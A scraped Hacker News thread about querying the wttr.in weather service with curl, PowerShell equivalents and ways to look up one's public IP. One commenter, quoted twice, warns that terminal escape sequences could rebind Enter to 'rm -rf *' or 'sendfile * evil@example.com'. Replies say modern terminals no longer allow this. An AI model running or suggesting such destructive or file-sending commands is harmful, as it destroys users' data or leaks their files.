Live data from Hacker News

Curl Wttr.in

github.com

111–120 of 128 posts

Re: Curl Wttr.in

#111
post #56
post #48

I will take this opportunity to offer some caution: From what I understand, “curl example.com” is almost exactly as risky as “curl example.com | bash”, since curl does not escape terminal command sequences, and those can include key rebindings; e.g. your Enter key can be rebound to “rm -rf ∗” or “sendfile ∗ evil@example.com”.

> those can include key rebindings; e.g. your Enter key can be rebound to “rm -rf ∗” or “sendfile ∗ evil@example.com”. oh my god. From http://www.termsys.demon.co.uk/vtansi.htm : > Set Key Definition [{key};"{string}"p > Associates a string of text to a keyboard key. {key} indicates the key by its ASCII value in decimal. But I can't reproduce it; in my terminal (gnome-terminal), `print('\x1b[97;"echo foo"p')` just sh…

As the other poster mentioned, I'm not aware of any terminal that allows these sequences these days.

This wasn't an uncommon thing back in the 90s with DOS ANSI art. I'm not sure if the original ANSI.SYS included with DOS 5/6 but there was a period of time where people remapped things like "echo y|format c:" using ANSI that only required one to "type somefile.ans/txt". The "fix" was to use an accelerated ANSI driver that dropped key-remapping.

Re: Curl Wttr.in

#113

Earlier quoted context omitted.

Serious question -- not a flame war :) I honestly can't tell if this is sarcastic or not. I've been typing `curl -O http: ...` into command prompts for decades, and that Powershell incantation looks awfully unwieldy. In what way is it the happy path?

Because it's the native Windows answer. There's no need to make Windows look like Unix. It's great (really!) the way it was designed.

Any good resources for using Powershell? Is there ever a reason not to use powershell? Coming from OSX it doesn't really make sense to me that there are two terminals installed by default, and I end up just using WSL ubuntu. Also I don't really know the commands so it feels crippled to me (no ssh (still? idk), not many tools, etc)

Re: Curl Wttr.in

#114
post #113

Earlier quoted context omitted.

Because it's the native Windows answer. There's no need to make Windows look like Unix. It's great (really!) the way it was designed.

Any good resources for using Powershell? Is there ever a reason not to use powershell? Coming from OSX it doesn't really make sense to me that there are two terminals installed by default, and I end up just using WSL ubuntu. Also I don't really know the commands so it feels crippled to me (no ssh (still? idk), not many tools, etc)

> Is there ever a reason not to use powershell?

No, you should always use it.

Its maybe a problem when ultimate performance is in question, but you can go long way with Powershell - I recently had a web service SOAP client implemented in it that did millions of requests in an hour using threads in less then 50 lines of code consuming less then 3% of server resources (running entire country in single day actually)

> I end up just using WSL ubuntu

You can have basiclly anthing working without WSL (except maybe docker correctly).

> Also I don't really know the commands so it feels crippled to me (no ssh (still? idk),

SSH is there. Learn commands along the way. You should def take a book like this one: https://www.manning.com/books/learn-windows-powershell-in-a-...

> not many tools,

All usual tools, linux and windows, can be used. You have majority of them hosted on chocolatey.

Re: Curl Wttr.in

#115

Earlier quoted context omitted.

No need for that. You can do this: (Invoke-WebRequest -Uri wttr.in).content from Powershell. Why not use the happy path?

Serious question -- not a flame war :) I honestly can't tell if this is sarcastic or not. I've been typing `curl -O http: ...` into command prompts for decades, and that Powershell incantation looks awfully unwieldy. In what way is it the happy path?

Like others have said, you would never type that long thing in Powershell, just `irm wttr.in` (even shorter then curl).

People for some reason always show long stuff that is only used when you write scripts to share with others and not interactivelly - you could do the same with curl if you use --long-parameter-names but somehow people are biased when talking about posh like aliases and other things do not exist.

Re: Curl Wttr.in

#116
post #98

Earlier quoted context omitted.

Also very useful: curl ifconfig.co (shows your public ip)

I used to use this a lot, but when I tried yesterday (and same today) I got a Heroku error message :( Not sure if it's temporary down or fully off.

Owner here. It's running on Heroku free tier and it handles hundreds of millions of requests every day. Cloudflare helps, but occasionally it still gets overloaded.

The code is at https://github.com/mpolden/echoip though, with a Docker image available on Docker Hub. It should be pretty easy to host your own.

Re: Curl Wttr.in

#117
post #35

I use this all the time. I find this option pretty neat: curl wttr.in/Moon Shows current lunar phase. I use Termux[0] on my phone with curl installed. Pretty handy. Also, check out rate.sx[1] from the same author: curl rate.sx Shows information about current exchange rates of cryptocoins. More similar console services: https://github.com/chubin/awesome-console-services [0]: https://termux.com/ [1]: https://github.com…

shameless plug: https://e.xec.sh

Just FYI this doesn't seem to work with MacOS's default Terminal app. I guess it doesn't support 256 colors or something.

Re: Curl Wttr.in

#118
post #48

I will take this opportunity to offer some caution: From what I understand, “curl example.com” is almost exactly as risky as “curl example.com | bash”, since curl does not escape terminal command sequences, and those can include key rebindings; e.g. your Enter key can be rebound to “rm -rf ∗” or “sendfile ∗ evil@example.com”.

Can you share some information about which terminal applications may be vulnerable to this?

As other commenters have pointed out, apparently there aren’t any modern ones anymore. My information seems to have been out of date.

Re: Curl Wttr.in

#119
post #100

Earlier quoted context omitted.

Also very useful: curl ifconfig.co (shows your public ip)

I just use an alias myip is aliased to `dig +short myip.opendns.com @resolver1.opendns.com'

I do the same! Only catch is, doesn't always work if you're on a restrictive network that only allows udp/53 to a specific DNS (captive portals, corpnets etc). I use a small shell script that tries the DNS trick first, then falls back on HTTP if that times out.

Re: Curl Wttr.in

#120
post #86

Earlier quoted context omitted.

It was the case indeed (many many years ago), we discussed at the anuualy curl hackers conference in Nuremberg back in 2017, but the only terminals that we managed to find with the support of this were not younger than 2001. Anyway, one can write a small filter, to cut any suspicious sequences from the output off, and add some wrapper like that to your bashrc: curl() { [ -t 1 ] && curl "$@" | sanitize || curl "$@"; }

I see you are using regular formatting for code/shell commands on your comments. Not that that's a problem but just a note you can use one of HN's comments formatting tips[0] for this. Text after a blank line that is indented by two or more spaces is reproduced verbatim. (This is intended for code.) [0]: https://news.ycombinator.com/formatdoc

I actually stick to regular formatting on HN because of how terribly code formatting on HN renders on a phone. It doesn't wrap around when you format it as code and I have to scroll horizontally since the width is fixed. But it's probably OK for something like this code snippet.
Post reply on HN